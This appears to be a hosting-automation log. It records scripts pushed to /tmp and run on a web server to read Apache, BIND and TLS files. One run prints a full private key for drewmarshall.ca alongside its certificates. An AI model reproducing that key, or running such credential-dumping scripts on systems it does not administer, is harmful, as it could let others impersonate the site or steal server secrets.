alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-24 06:01:27:
PUT: /tmp/pkp702088
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_www_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-24 06:01:27:
chmod 755 /tmp/pkp702088; /tmp/pkp702088; rm /tmp/pkp702088
2025-10-24 06:01:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_www_ca.conf 1282
<VirtualHost *:80>
ServerName drewmarshall.ca
ServerAlias www.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_www
<Directory /var/www/drewmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/www_access.log combined
ErrorLog /var/log/apache2/drewmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName drewmarshall.ca
ServerAlias www.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
DocumentRoot /var/www/drewmarshall_www
<Directory /var/www/drewmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-24 06:01:27:
PUT: /tmp/pkp413991
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-24 06:01:27:
chmod 755 /tmp/pkp413991; /tmp/pkp413991; rm /tmp/pkp413991
2025-10-24 06:01:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt 5374
44:76:16:89:ea:b1:e3:e7:3c:f4:56:f7:21:94:95:b4
-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBaMdlRW3S3+d6EcB4Z/O4NpPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMjU1WhcNMjYwMTIyMDUwMjU0WjAaMRgwFgYDVQQD
Ew9kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDLc2YLgwNPDPGxZPqRZRZ2JnW6GN7ZHMVb5P2lhpE8Y12pr+vWdYZDLIyOE4Zh
G8uIiMUYQXNO3EiPcecotq3rEQLOa4+3e7QgSFmZWqGvTGyhtcvcr3P3p8sc7LaP
Q3yYSvTnaYBnPLD84qhxb8Vv8j6wBF79OLqaoZjMv5pIsHIUe/DKJ8L84nLCjWyp
a9jTXILby/qC/Sz5salImtsns59oMpn13L6cfhazlDW2wRiTO7AF+oaZdl2F7f6/
CAvtWxO0VecpkHiNMHHnAX+Ime8OOaxtbX+8u5C3eWHP5DYw5eHJZ8nyM3LURl3M
hI0BDZYo+GAscx47VO2GDNJlAgMBAAGjggI0MIICMDAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFEIb4F/MyLKaxP5cMXEgHlmLu0xjMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPZHJld21hcnNoYWxsLmNhghN3
d3cuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvODAuY3JsMIIBBAYKKwYB
BAHWeQIEAgSB9QSB8gDwAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGaFM7AFwAABAMASDBGAiEA3KIiQNvqrTCP1p/83S73Fr54WWXW91J4X63O
TKRDHNUCIQCf+wHyusAuK0+C7tn0s9g64WPkUHaBg3DkdxIjlip/kwB1ABmG1Mco
qm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmhTOwBcAAAQDAEYwRAIgKERJ
lsjhqyhQguRz9pPTN/Tiu9cIDwcE9ON/CexQKAsCIDiLllcV2dK2aHQNL4y9O4Ks
GBBL/3IYylDCKOS+hsbpMA0GCSqGSIb3DQEBCwUAA4IBAQCeQroHDrqB5n97+hfg
m9XzDGlrZtPoEyqSYuPU9aS+1OF60VBv7eG0Pg6xcbKYelz8uySF5tlyb0Pfa1g6
yv1RNBIINxIQJaCexm5fe0wo8CZdzn1IydCBhLwwSH1huxQbmmK0lIO4aQM7YHWN
q/2VnKFTRttsTmv3LSKHg9ZjPc8zKbQsQcTwJ2Og8GlCKm6uIa/Loh0MiFAv6oSf
3KMpFPIbbKGKUoWgH5KPonaoFHtiqX22TF4kpvw694G4QyP71oRnITgX8ZSOqsAf
tcYUeJybsT+i7JBzO9E5L3sbHfzeGFXR583mgS2ZO7StrxZkslyBT/qbCVcXfjrv
P9m3
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDLc2YLgwNPDPGx
ZPqRZRZ2JnW6GN7ZHMVb5P2lhpE8Y12pr+vWdYZDLIyOE4ZhG8uIiMUYQXNO3EiP
cecotq3rEQLOa4+3e7QgSFmZWqGvTGyhtcvcr3P3p8sc7LaPQ3yYSvTnaYBnPLD8
4qhxb8Vv8j6wBF79OLqaoZjMv5pIsHIUe/DKJ8L84nLCjWypa9jTXILby/qC/Sz5
salImtsns59oMpn13L6cfhazlDW2wRiTO7AF+oaZdl2F7f6/CAvtWxO0VecpkHiN
MHHnAX+Ime8OOaxtbX+8u5C3eWHP5DYw5eHJZ8nyM3LURl3MhI0BDZYo+GAscx47
VO2GDNJlAgMBAAECggEAHzVLcPae2lBs/r4zpXvxLxyFMI/CF2HPcGI2+l4jBzVi
17WxoosSlllOEjkygtDlrsL0IN1hV7Z4tvBM+jTThtxsJsffGtEx90XB4MFDTgWW
IFQnuml7i4DEqmIxOtaqVR4iZSEM3kk0CQanugbgLWTmcs+o1oUOMswZCUdW3lFU
Rmu93LjokQoxl9+i3qcrSTKlcg2dn0wb53y39Y9vb7anBAPuDvkHcFWCDYNzcfTX
nIt3Kg4tUsHPBxSWyXZovTUlAnF2yb01KF7C+ZYMzJztHyCMmVWXhcbtOKu1Fawh
PVxAZvcChKPxpF+ONvxBn8wXW95dyxofptNtzJTBQQKBgQD7bCc4DempyiGR78rF
O6vmEHU3q8ZDK6htfG5brr1ZVPZAAT+eAQe0nnVBaNB4MOabpGhAhG6fy5elOS0P
Wy13vjqMO9B7lT6AydRCCU9nJUDcSXw7FjoXyxzwua9xpNzE2BVBO4+KeQLbWYIL
y9nJOvIpQLj/p0I459MeW746VQKBgQDPJ6fblcvUV5T8X+7EGFBJISA3llBWRUh+
g0hB582+jbOm5BXyIR0YN9Dm8FNQMOuWCBXUkEGv06wz6PDDB1WYZUTJLlrcvaZp
mkL3wfawMZikC5EQbHWRXbUPSKhoLNTlm5jj51GACUJb7yma8jdkgf7S/2B29/BF
lddoIitn0QKBgQD0bccLJet+2DYezQNTEJokBugOgX80mmMaXhhkJdOL35+vxgb1
M4csP8k7GA1kbBYmRoXcA2QREjuRs65s+XWQrm35G8WqAARN7OngcXCylHMkNoUC
ZK+BpkOyfLNmRqMi8/hl/OOl+dOfMLvPgBVxH0+Cb5vrX85vyGFlaEfeKQKBgDD+
ZAjfKNIT1LzLw6DFT1e8ae47ssx0nmytiA1uUY7b3L1//GDDzCnKKbI07L9ukolt
aBxZ8e8v1O6CDU9TEL92VApw2DSU9iLLxULrsPiDAmLqCWkk/blfvE7dFFdvIvsb
DdH5B6GMjxFHQ0POPaObyzUECUCZ603J3qRWUIXBAoGBAJQ4GxIdwR0Mhkj+ri9j
9WYJdMsHKsBXAIDdP3jNprgLsBJW/9D5a6X79avs6lR7jnl5ik93KksIkgtRlLCW
//a0diF3NhiUOhqAiEOYXknNY6/wAe8LJQaqJcq9iwSVPOeN0FewlUyleZZCHEJ4
Ba+gVv9zOkc1068r7kIgVHAg
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-24 06:01:27: Establishing a connection
2025-10-24 06:01:28: Establishing a connection
2025-10-24 06:01:29:
PUT: /tmp/pkp118451
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-24 06:01:30:
chmod 755 /tmp/pkp118451; /tmp/pkp118451; rm /tmp/pkp118451
2025-10-24 06:01:30:
0
2025-10-25 06:00:02: Establishing a connection
2025-10-25 06:00:04: Establishing a connection
2025-10-25 06:00:05:
PUT: /tmp/pkp709597
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-25 06:00:05:
chmod 755 /tmp/pkp709597; /tmp/pkp709597; rm /tmp/pkp709597
2025-10-25 06:00:06:
0
2025-10-26 06:00:03: Establishing a connection
2025-10-26 06:00:04: Establishing a connection
2025-10-26 06:00:05:
PUT: /tmp/pkp638019
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-26 06:00:06:
chmod 755 /tmp/pkp638019; /tmp/pkp638019; rm /tmp/pkp638019
2025-10-26 06:00:06:
0
2025-10-27 06:00:03: Establishing a connection
2025-10-27 06:00:03: Establishing a connection
2025-10-27 06:00:04:
PUT: /tmp/pkp282894
#!/bin/bash
if [ -d "/var/www/pjy_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-27 06:00:05:
chmod 755 /tmp/pkp282894; /tmp/pkp282894; rm /tmp/pkp282894
2025-10-27 06:00:05:
0
2025-10-27 06:00:07: Establishing a connection
2025-10-27 06:00:07: Establishing a connection
2025-10-27 06:00:07:
PUT: /tmp/pkp879231
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-27 06:00:07:
runuser -l bind -s /bin/bash -c '/tmp/pkp879231; rm /tmp/pkp879231'
2025-10-27 06:00:08:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
